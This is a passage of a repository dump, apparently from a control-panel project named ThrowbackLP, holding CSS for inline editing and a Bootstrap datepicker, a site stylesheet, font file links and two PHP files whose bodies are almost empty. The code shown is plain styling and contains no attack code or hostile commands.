34 | white-space: normal; /* reset white-space decalred in parent*/
35 | /* display-inline emulation for IE7*/
36 | zoom: 1;
37 | *display: inline;
38 | }
39 |
40 | .editable-buttons .editable-cancel {
41 | margin-left: 7px;
42 | }
43 |
44 | /*for jquery-ui buttons need set height to look more pretty*/
45 | .editable-buttons button.ui-button-icon-only {
46 | height: 24px;
47 | width: 30px;
48 | }
49 |
50 | .editableform-loading {
51 | background: url('../img/loading.gif') center center no-repeat;
52 | height: 25px;
53 | width: auto;
54 | min-width: 25px;
55 | }
56 |
57 | .editable-inline .editableform-loading {
58 | background-position: left 5px;
59 | }
60 |
61 | .editable-error-block {
62 | max-width: 300px;
63 | margin: 5px 0 0 0;
64 | width: auto;
65 | white-space: normal;
66 | }
67 |
68 | /*add padding for jquery ui*/
69 | .editable-error-block.ui-state-error {
70 | padding: 3px;
71 | }
72 |
73 | .editable-error {
74 | color: red;
75 | }
76 |
77 | /* ---- For specific types ---- */
78 |
79 | .editableform .editable-date {
80 | padding: 0;
81 | margin: 0;
82 | float: left;
83 | }
84 |
85 | /* move datepicker icon to center of add-on button. See https://github.com/vitalets/x-editable/issues/183 */
86 | .editable-inline .add-on .icon-th {
87 | margin-top: 3px;
88 | margin-left: 1px;
89 | }
90 |
91 |
92 | /* checklist vertical alignment */
93 | .editable-checklist label input[type="checkbox"],
94 | .editable-checklist label span {
95 | vertical-align: middle;
96 | margin: 0;
97 | }
98 |
99 | .editable-checklist label {
100 | white-space: nowrap;
101 | }
102 |
103 | /* set exact width of textarea to fit buttons toolbar */
104 | .editable-wysihtml5 {
105 | width: 566px;
106 | height: 250px;
107 | }
108 |
109 | /* clear button shown as link in date inputs */
110 | .editable-clear {
111 | clear: both;
112 | font-size: 0.9em;
113 | text-decoration: none;
114 | text-align: right;
115 | }
116 |
117 | /* IOS-style clear button for text inputs */
118 | .editable-clear-x {
119 | background: url('../img/clear.png') center center no-repeat;
120 | display: block;
121 | width: 13px;
122 | height: 13px;
123 | position: absolute;
124 | opacity: 0.6;
125 | z-index: 100;
126 |
127 | top: 50%;
128 | right: 6px;
129 | margin-top: -6px;
130 |
131 | }
132 |
133 | .editable-clear-x:hover {
134 | opacity: 1;
135 | }
136 |
137 | .editable-pre-wrapped {
138 | white-space: pre-wrap;
139 | }
140 | .editable-container.editable-popup {
141 | max-width: none !important; /* without this rule poshytip/tooltip does not stretch */
142 | }
143 |
144 | .editable-container.popover {
145 | width: auto; /* without this rule popover does not stretch */
146 | }
147 |
148 | .editable-container.editable-inline {
149 | display: inline-block;
150 | vertical-align: middle;
151 | width: auto;
152 | /* inline-block emulation for IE7*/
153 | zoom: 1;
154 | *display: inline;
155 | }
156 |
157 | .editable-container.ui-widget {
158 | font-size: inherit; /* jqueryui widget font 1.1em too big, overwrite it */
159 | z-index: 9990; /* should be less than select2 dropdown z-index to close dropdown first when click */
160 | }
161 | .editable-click,
162 | a.editable-click,
163 | a.editable-click:hover {
164 | text-decoration: none;
165 | border-bottom: dashed 1px #0088cc;
166 | }
167 |
168 | .editable-click.editable-disabled,
169 | a.editable-click.editable-disabled,
170 | a.editable-click.editable-disabled:hover {
171 | color: #585858;
172 | cursor: default;
173 | border-bottom: none;
174 | }
175 |
176 | .editable-empty, .editable-empty:hover, .editable-empty:focus{
177 | font-style: italic;
178 | color: #DD1144;
179 | /* border-bottom: none; */
180 | text-decoration: none;
181 | }
182 |
183 | .editable-unsaved {
184 | font-weight: bold;
185 | }
186 |
187 | .editable-unsaved:after {
188 | /* content: '*'*/
189 | }
190 |
191 | .editable-bg-transition {
192 | -webkit-transition: background-color 1400ms ease-out;
193 | -moz-transition: background-color 1400ms ease-out;
194 | -o-transition: background-color 1400ms ease-out;
195 | -ms-transition: background-color 1400ms ease-out;
196 | transition: background-color 1400ms ease-out;
197 | }
198 |
199 | /*see https://github.com/vitalets/x-editable/issues/139 */
200 | .form-horizontal .editable
201 | {
202 | padding-top: 5px;
203 | display:inline-block;
204 | }
205 |
206 |
207 | /*!
208 | * Datepicker for Bootstrap
209 | *
210 | * Copyright 2012 Stefan Petre
211 | * Improvements by Andrew Rowls
212 | * Licensed under the Apache License v2.0
213 | * http://www.apache.org/licenses/LICENSE-2.0
214 | *
215 | */
216 | .datepicker {
217 | padding: 4px;
218 | -webkit-border-radius: 4px;
219 | -moz-border-radius: 4px;
220 | border-radius: 4px;
221 | direction: ltr;
222 | /*.dow {
223 | border-top: 1px solid #ddd !important;
224 | }*/
225 |
226 | }
227 | .datepicker-inline {
228 | width: 220px;
229 | }
230 | .datepicker.datepicker-rtl {
231 | direction: rtl;
232 | }
233 | .datepicker.datepicker-rtl table tr td span {
234 | float: right;
235 | }
236 | .datepicker-dropdown {
237 | top: 0;
238 | left: 0;
239 | }
240 | .datepicker-dropdown:before {
241 | content: '';
242 | display: inline-block;
243 | border-left: 7px solid transparent;
244 | border-right: 7px solid transparent;
245 | border-bottom: 7px solid #ccc;
246 | border-bottom-color: rgba(0, 0, 0, 0.2);
247 | position: absolute;
248 | top: -7px;
249 | left: 6px;
250 | }
251 | .datepicker-dropdown:after {
252 | content: '';
253 | display: inline-block;
254 | border-left: 6px solid transparent;
255 | border-right: 6px solid transparent;
256 | border-bottom: 6px solid #ffffff;
257 | position: absolute;
258 | top: -6px;
259 | left: 7px;
260 | }
261 | .datepicker > div {
262 | display: none;
263 | }
264 | .datepicker.days div.datepicker-days {
265 | display: block;
266 | }
267 | .datepicker.months div.datepicker-months {
268 | display: block;
269 | }
270 | .datepicker.years div.datepicker-years {
271 | display: block;
272 | }
273 | .datepicker table {
274 | margin: 0;
275 | }
276 | .datepicker td,
277 | .datepicker th {
278 | text-align: center;
279 | width: 20px;
280 | height: 20px;
281 | -webkit-border-radius: 4px;
282 | -moz-border-radius: 4px;
283 | border-radius: 4px;
284 | border: none;
285 | }
286 | .table-striped .datepicker table tr td,
287 | .table-striped .datepicker table tr th {
288 | background-color: transparent;
289 | }
290 | .datepicker table tr td.day:hover {
291 | background: #eeeeee;
292 | cursor: pointer;
293 | }
294 | .datepicker table tr td.old,
295 | .datepicker table tr td.new {
296 | color: #999999;
297 | }
298 | .datepicker table tr td.disabled,
299 | .datepicker table tr td.disabled:hover {
300 | background: none;
301 | color: #999999;
302 | cursor: default;
303 | }
304 | .datepicker table tr td.today,
305 | .datepicker table tr td.today:hover,
306 | .datepicker table tr td.today.disabled,
307 | .datepicker table tr td.today.disabled:hover {
308 | background-color: #fde19a;
309 | background-image: -moz-linear-gradient(top, #fdd49a, #fdf59a);
310 | background-image: -ms-linear-gradient(top, #fdd49a, #fdf59a);
311 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fdd49a), to(#fdf59a));
312 | background-image: -webkit-linear-gradient(top, #fdd49a, #fdf59a);
313 | background-image: -o-linear-gradient(top, #fdd49a, #fdf59a);
314 | background-image: linear-gradient(top, #fdd49a, #fdf59a);
315 | background-repeat: repeat-x;
316 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fdd49a', endColorstr='#fdf59a', GradientType=0);
317 | border-color: #fdf59a #fdf59a #fbed50;
318 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
319 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
320 | color: #000;
321 | }
322 | .datepicker table tr td.today:hover,
323 | .datepicker table tr td.today:hover:hover,
324 | .datepicker table tr td.today.disabled:hover,
325 | .datepicker table tr td.today.disabled:hover:hover,
326 | .datepicker table tr td.today:active,
327 | .datepicker table tr td.today:hover:active,
328 | .datepicker table tr td.today.disabled:active,
329 | .datepicker table tr td.today.disabled:hover:active,
330 | .datepicker table tr td.today.active,
331 | .datepicker table tr td.today:hover.active,
332 | .datepicker table tr td.today.disabled.active,
333 | .datepicker table tr td.today.disabled:hover.active,
334 | .datepicker table tr td.today.disabled,
335 | .datepicker table tr td.today:hover.disabled,
336 | .datepicker table tr td.today.disabled.disabled,
337 | .datepicker table tr td.today.disabled:hover.disabled,
338 | .datepicker table tr td.today[disabled],
339 | .datepicker table tr td.today:hover[disabled],
340 | .datepicker table tr td.today.disabled[disabled],
341 | .datepicker table tr td.today.disabled:hover[disabled] {
342 | background-color: #fdf59a;
343 | }
344 | .datepicker table tr td.today:active,
345 | .datepicker table tr td.today:hover:active,
346 | .datepicker table tr td.today.disabled:active,
347 | .datepicker table tr td.today.disabled:hover:active,
348 | .datepicker table tr td.today.active,
349 | .datepicker table tr td.today:hover.active,
350 | .datepicker table tr td.today.disabled.active,
351 | .datepicker table tr td.today.disabled:hover.active {
352 | background-color: #fbf069 \9;
353 | }
354 | .datepicker table tr td.today:hover:hover {
355 | color: #000;
356 | }
357 | .datepicker table tr td.today.active:hover {
358 | color: #fff;
359 | }
360 | .datepicker table tr td.range,
361 | .datepicker table tr td.range:hover,
362 | .datepicker table tr td.range.disabled,
363 | .datepicker table tr td.range.disabled:hover {
364 | background: #eeeeee;
365 | -webkit-border-radius: 0;
366 | -moz-border-radius: 0;
367 | border-radius: 0;
368 | }
369 | .datepicker table tr td.range.today,
370 | .datepicker table tr td.range.today:hover,
371 | .datepicker table tr td.range.today.disabled,
372 | .datepicker table tr td.range.today.disabled:hover {
373 | background-color: #f3d17a;
374 | background-image: -moz-linear-gradient(top, #f3c17a, #f3e97a);
375 | background-image: -ms-linear-gradient(top, #f3c17a, #f3e97a);
376 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3c17a), to(#f3e97a));
377 | background-image: -webkit-linear-gradient(top, #f3c17a, #f3e97a);
378 | background-image: -o-linear-gradient(top, #f3c17a, #f3e97a);
379 | background-image: linear-gradient(top, #f3c17a, #f3e97a);
380 | background-repeat: repeat-x;
381 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3c17a', endColorstr='#f3e97a', GradientType=0);
382 | border-color: #f3e97a #f3e97a #edde34;
383 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
384 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
385 | -webkit-border-radius: 0;
386 | -moz-border-radius: 0;
387 | border-radius: 0;
388 | }
389 | .datepicker table tr td.range.today:hover,
390 | .datepicker table tr td.range.today:hover:hover,
391 | .datepicker table tr td.range.today.disabled:hover,
392 | .datepicker table tr td.range.today.disabled:hover:hover,
393 | .datepicker table tr td.range.today:active,
394 | .datepicker table tr td.range.today:hover:active,
395 | .datepicker table tr td.range.today.disabled:active,
396 | .datepicker table tr td.range.today.disabled:hover:active,
397 | .datepicker table tr td.range.today.active,
398 | .datepicker table tr td.range.today:hover.active,
399 | .datepicker table tr td.range.today.disabled.active,
400 | .datepicker table tr td.range.today.disabled:hover.active,
401 | .datepicker table tr td.range.today.disabled,
402 | .datepicker table tr td.range.today:hover.disabled,
403 | .datepicker table tr td.range.today.disabled.disabled,
404 | .datepicker table tr td.range.today.disabled:hover.disabled,
405 | .datepicker table tr td.range.today[disabled],
406 | .datepicker table tr td.range.today:hover[disabled],
407 | .datepicker table tr td.range.today.disabled[disabled],
408 | .datepicker table tr td.range.today.disabled:hover[disabled] {
409 | background-color: #f3e97a;
410 | }
411 | .datepicker table tr td.range.today:active,
412 | .datepicker table tr td.range.today:hover:active,
413 | .datepicker table tr td.range.today.disabled:active,
414 | .datepicker table tr td.range.today.disabled:hover:active,
415 | .datepicker table tr td.range.today.active,
416 | .datepicker table tr td.range.today:hover.active,
417 | .datepicker table tr td.range.today.disabled.active,
418 | .datepicker table tr td.range.today.disabled:hover.active {
419 | background-color: #efe24b \9;
420 | }
421 | .datepicker table tr td.selected,
422 | .datepicker table tr td.selected:hover,
423 | .datepicker table tr td.selected.disabled,
424 | .datepicker table tr td.selected.disabled:hover {
425 | background-color: #9e9e9e;
426 | background-image: -moz-linear-gradient(top, #b3b3b3, #808080);
427 | background-image: -ms-linear-gradient(top, #b3b3b3, #808080);
428 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#b3b3b3), to(#808080));
429 | background-image: -webkit-linear-gradient(top, #b3b3b3, #808080);
430 | background-image: -o-linear-gradient(top, #b3b3b3, #808080);
431 | background-image: linear-gradient(top, #b3b3b3, #808080);
432 | background-repeat: repeat-x;
433 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#b3b3b3', endColorstr='#808080', GradientType=0);
434 | border-color: #808080 #808080 #595959;
435 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
436 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
437 | color: #fff;
438 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
439 | }
440 | .datepicker table tr td.selected:hover,
441 | .datepicker table tr td.selected:hover:hover,
442 | .datepicker table tr td.selected.disabled:hover,
443 | .datepicker table tr td.selected.disabled:hover:hover,
444 | .datepicker table tr td.selected:active,
445 | .datepicker table tr td.selected:hover:active,
446 | .datepicker table tr td.selected.disabled:active,
447 | .datepicker table tr td.selected.disabled:hover:active,
448 | .datepicker table tr td.selected.active,
449 | .datepicker table tr td.selected:hover.active,
450 | .datepicker table tr td.selected.disabled.active,
451 | .datepicker table tr td.selected.disabled:hover.active,
452 | .datepicker table tr td.selected.disabled,
453 | .datepicker table tr td.selected:hover.disabled,
454 | .datepicker table tr td.selected.disabled.disabled,
455 | .datepicker table tr td.selected.disabled:hover.disabled,
456 | .datepicker table tr td.selected[disabled],
457 | .datepicker table tr td.selected:hover[disabled],
458 | .datepicker table tr td.selected.disabled[disabled],
459 | .datepicker table tr td.selected.disabled:hover[disabled] {
460 | background-color: #808080;
461 | }
462 | .datepicker table tr td.selected:active,
463 | .datepicker table tr td.selected:hover:active,
464 | .datepicker table tr td.selected.disabled:active,
465 | .datepicker table tr td.selected.disabled:hover:active,
466 | .datepicker table tr td.selected.active,
467 | .datepicker table tr td.selected:hover.active,
468 | .datepicker table tr td.selected.disabled.active,
469 | .datepicker table tr td.selected.disabled:hover.active {
470 | background-color: #666666 \9;
471 | }
472 | .datepicker table tr td.active,
473 | .datepicker table tr td.active:hover,
474 | .datepicker table tr td.active.disabled,
475 | .datepicker table tr td.active.disabled:hover {
476 | background-color: #006dcc;
477 | background-image: -moz-linear-gradient(top, #0088cc, #0044cc);
478 | background-image: -ms-linear-gradient(top, #0088cc, #0044cc);
479 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));
480 | background-image: -webkit-linear-gradient(top, #0088cc, #0044cc);
481 | background-image: -o-linear-gradient(top, #0088cc, #0044cc);
482 | background-image: linear-gradient(top, #0088cc, #0044cc);
483 | background-repeat: repeat-x;
484 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0);
485 | border-color: #0044cc #0044cc #002a80;
486 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
487 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
488 | color: #fff;
489 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
490 | }
491 | .datepicker table tr td.active:hover,
492 | .datepicker table tr td.active:hover:hover,
493 | .datepicker table tr td.active.disabled:hover,
494 | .datepicker table tr td.active.disabled:hover:hover,
495 | .datepicker table tr td.active:active,
496 | .datepicker table tr td.active:hover:active,
497 | .datepicker table tr td.active.disabled:active,
498 | .datepicker table tr td.active.disabled:hover:active,
499 | .datepicker table tr td.active.active,
500 | .datepicker table tr td.active:hover.active,
501 | .datepicker table tr td.active.disabled.active,
502 | .datepicker table tr td.active.disabled:hover.active,
503 | .datepicker table tr td.active.disabled,
504 | .datepicker table tr td.active:hover.disabled,
505 | .datepicker table tr td.active.disabled.disabled,
506 | .datepicker table tr td.active.disabled:hover.disabled,
507 | .datepicker table tr td.active[disabled],
508 | .datepicker table tr td.active:hover[disabled],
509 | .datepicker table tr td.active.disabled[disabled],
510 | .datepicker table tr td.active.disabled:hover[disabled] {
511 | background-color: #0044cc;
512 | }
513 | .datepicker table tr td.active:active,
514 | .datepicker table tr td.active:hover:active,
515 | .datepicker table tr td.active.disabled:active,
516 | .datepicker table tr td.active.disabled:hover:active,
517 | .datepicker table tr td.active.active,
518 | .datepicker table tr td.active:hover.active,
519 | .datepicker table tr td.active.disabled.active,
520 | .datepicker table tr td.active.disabled:hover.active {
521 | background-color: #003399 \9;
522 | }
523 | .datepicker table tr td span {
524 | display: block;
525 | width: 23%;
526 | height: 54px;
527 | line-height: 54px;
528 | float: left;
529 | margin: 1%;
530 | cursor: pointer;
531 | -webkit-border-radius: 4px;
532 | -moz-border-radius: 4px;
533 | border-radius: 4px;
534 | }
535 | .datepicker table tr td span:hover {
536 | background: #eeeeee;
537 | }
538 | .datepicker table tr td span.disabled,
539 | .datepicker table tr td span.disabled:hover {
540 | background: none;
541 | color: #999999;
542 | cursor: default;
543 | }
544 | .datepicker table tr td span.active,
545 | .datepicker table tr td span.active:hover,
546 | .datepicker table tr td span.active.disabled,
547 | .datepicker table tr td span.active.disabled:hover {
548 | background-color: #006dcc;
549 | background-image: -moz-linear-gradient(top, #0088cc, #0044cc);
550 | background-image: -ms-linear-gradient(top, #0088cc, #0044cc);
551 | background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc));
552 | background-image: -webkit-linear-gradient(top, #0088cc, #0044cc);
553 | background-image: -o-linear-gradient(top, #0088cc, #0044cc);
554 | background-image: linear-gradient(top, #0088cc, #0044cc);
555 | background-repeat: repeat-x;
556 | filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0088cc', endColorstr='#0044cc', GradientType=0);
557 | border-color: #0044cc #0044cc #002a80;
558 | border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);
559 | filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
560 | color: #fff;
561 | text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
562 | }
563 | .datepicker table tr td span.active:hover,
564 | .datepicker table tr td span.active:hover:hover,
565 | .datepicker table tr td span.active.disabled:hover,
566 | .datepicker table tr td span.active.disabled:hover:hover,
567 | .datepicker table tr td span.active:active,
568 | .datepicker table tr td span.active:hover:active,
569 | .datepicker table tr td span.active.disabled:active,
570 | .datepicker table tr td span.active.disabled:hover:active,
571 | .datepicker table tr td span.active.active,
572 | .datepicker table tr td span.active:hover.active,
573 | .datepicker table tr td span.active.disabled.active,
574 | .datepicker table tr td span.active.disabled:hover.active,
575 | .datepicker table tr td span.active.disabled,
576 | .datepicker table tr td span.active:hover.disabled,
577 | .datepicker table tr td span.active.disabled.disabled,
578 | .datepicker table tr td span.active.disabled:hover.disabled,
579 | .datepicker table tr td span.active[disabled],
580 | .datepicker table tr td span.active:hover[disabled],
581 | .datepicker table tr td span.active.disabled[disabled],
582 | .datepicker table tr td span.active.disabled:hover[disabled] {
583 | background-color: #0044cc;
584 | }
585 | .datepicker table tr td span.active:active,
586 | .datepicker table tr td span.active:hover:active,
587 | .datepicker table tr td span.active.disabled:active,
588 | .datepicker table tr td span.active.disabled:hover:active,
589 | .datepicker table tr td span.active.active,
590 | .datepicker table tr td span.active:hover.active,
591 | .datepicker table tr td span.active.disabled.active,
592 | .datepicker table tr td span.active.disabled:hover.active {
593 | background-color: #003399 \9;
594 | }
595 | .datepicker table tr td span.old,
596 | .datepicker table tr td span.new {
597 | color: #999999;
598 | }
599 | .datepicker th.datepicker-switch {
600 | width: 145px;
601 | }
602 | .datepicker thead tr:first-child th,
603 | .datepicker tfoot tr th {
604 | cursor: pointer;
605 | }
606 | .datepicker thead tr:first-child th:hover,
607 | .datepicker tfoot tr th:hover {
608 | background: #eeeeee;
609 | }
610 | .datepicker .cw {
611 | font-size: 10px;
612 | width: 12px;
613 | padding: 0 2px 0 5px;
614 | vertical-align: middle;
615 | }
616 | .datepicker thead tr:first-child th.cw {
617 | cursor: default;
618 | background-color: transparent;
619 | }
620 | .input-append.date .add-on i,
621 | .input-prepend.date .add-on i {
622 | display: block;
623 | cursor: pointer;
624 | width: 16px;
625 | height: 16px;
626 | }
627 | .input-daterange input {
628 | text-align: center;
629 | }
630 | .input-daterange input:first-child {
631 | -webkit-border-radius: 3px 0 0 3px;
632 | -moz-border-radius: 3px 0 0 3px;
633 | border-radius: 3px 0 0 3px;
634 | }
635 | .input-daterange input:last-child {
636 | -webkit-border-radius: 0 3px 3px 0;
637 | -moz-border-radius: 0 3px 3px 0;
638 | border-radius: 0 3px 3px 0;
639 | }
640 | .input-daterange .add-on {
641 | display: inline-block;
642 | width: auto;
643 | min-width: 16px;
644 | height: 18px;
645 | padding: 4px 5px;
646 | font-weight: normal;
647 | line-height: 18px;
648 | text-align: center;
649 | text-shadow: 0 1px 0 #ffffff;
650 | vertical-align: middle;
651 | background-color: #eeeeee;
652 | border: 1px solid #ccc;
653 | margin-left: -5px;
654 | margin-right: -5px;
655 | }
656 |
--------------------------------------------------------------------------------
/cp/css/stylesheet.css:
--------------------------------------------------------------------------------
1 | body
2 | {
3 | font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
4 | background-color: #787878;
5 | }
6 |
7 | a
8 | {
9 | text-decoration: none;
10 | color: inherit;
11 | }
12 |
13 | p#links
14 | {
15 | margin: 0px;
16 | text-align: center;
17 | font-size: small;
18 | font-weight: bold;
19 | }
20 |
21 | .col1
22 | {
23 | border: solid;
24 | margin-left: auto;
25 | margin-right: auto;
26 | }
27 |
28 | .mainheader
29 | {
30 | text-align: center;
31 | font-size: 20px;
32 | }
33 |
34 | .col2
35 | {
36 | float: right;
37 | }
38 |
39 | .mainbody
40 | {
41 | margin-left: auto;
42 | margin-right: auto;
43 | width: 80%;
44 | }
45 |
46 | .container
47 | {
48 | text-decoration: none;
49 | border: 0 none;
50 | padding: 0 5px 0 5px;
51 | height: 22px;
52 | }
53 |
54 | .hidden
55 | {
56 | display: none;
57 | text-align: center;
58 | }
59 |
60 | tr.data
61 | {
62 | padding: 5px 10px 15px;
63 | background-color:#F4F4F8;
64 | }
65 |
66 | div#login
67 | {
68 | text-align: center;
69 | }
70 |
71 | div#header
72 | {
73 | font-size: 30px;
74 | text-align: center;
75 | }
76 |
77 | #box
78 | {
79 | width:70%;
80 | display: none;
81 | padding:5px;
82 | border:2px solid #FADDA9;
83 | background-color:#FDF4E1;
84 | }
85 |
86 | #tableimg
87 | {
88 | text-decoration: none;
89 | border: 0 none;
90 | padding: 0 2px 0 2px;
91 | height: 22px;
92 |
93 | }
94 |
95 | #targets
96 | {
97 | margin-left: auto;
98 | margin-right: auto;
99 | border-collapse: collapse;
100 | }
101 |
102 | #targets td, #targets th
103 | {
104 | font-size: 13px;
105 | border: 1px solid #000000;
106 | padding: 3px 3px 2px 3px;
107 | }
108 |
109 | #targets th
110 | {
111 | font-size: 15px;
112 | text-align: left;
113 | padding-top: 7px;
114 | padding-bottom: 7px;
115 | background-color: #297A29;
116 | border-bottom: double;
117 | }
118 |
119 | #targets tr
120 | {
121 | background-color: #D8D8D8;
122 | }
123 |
124 | .results
125 | {
126 | font-weight: bold;
127 | }
--------------------------------------------------------------------------------
/cp/deletetask.php:
--------------------------------------------------------------------------------
1 | ";
17 |
18 | ?>
--------------------------------------------------------------------------------
/cp/fonts/glyphicons-halflings-regular.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/fonts/glyphicons-halflings-regular.eot
--------------------------------------------------------------------------------
/cp/fonts/glyphicons-halflings-regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/fonts/glyphicons-halflings-regular.ttf
--------------------------------------------------------------------------------
/cp/fonts/glyphicons-halflings-regular.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/silentbreaksec/ThrowbackLP/8760e4c23c629a260a72ed1dd58c7da8b08b0777/cp/fonts/glyphicons-halflings-regular.woff
--------------------------------------------------------------------------------
/cp/history.php:
--------------------------------------------------------------------------------
1 |
17 |